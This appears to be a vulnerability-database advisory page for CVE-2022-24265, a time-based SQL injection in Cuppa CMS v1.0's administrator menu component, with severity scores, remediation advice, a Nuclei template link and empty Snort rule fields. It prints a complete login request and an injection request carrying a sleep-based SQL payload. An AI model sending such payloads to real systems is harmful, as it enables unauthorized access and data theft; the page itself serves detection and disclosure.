🔙 목록으로 돌아가기

CVE-2022-24265: Cuppa CMS v1.0 - SQL injection

TitleCuppa CMS v1.0 - SQL injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
RemediationUpgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
CVSS Score7.5
EPSS Score0.54717
CVE IDCVE-2022-24265
CWE IDCWE-89
Tags time-based-sqli cve2022 cve sqli cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/menu/ via the path=component/menu/&menu_filter=3 parameter.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=cC1pJP&password=scbcka&language=en&task=login
POST /components/menu/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 137
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

path=component%2Fmenu%2F%26menu_filter%3D3'+and+sleep(6)--+-&data_get=eyJtZW51X2ZpbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_906185

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24265.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24265.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A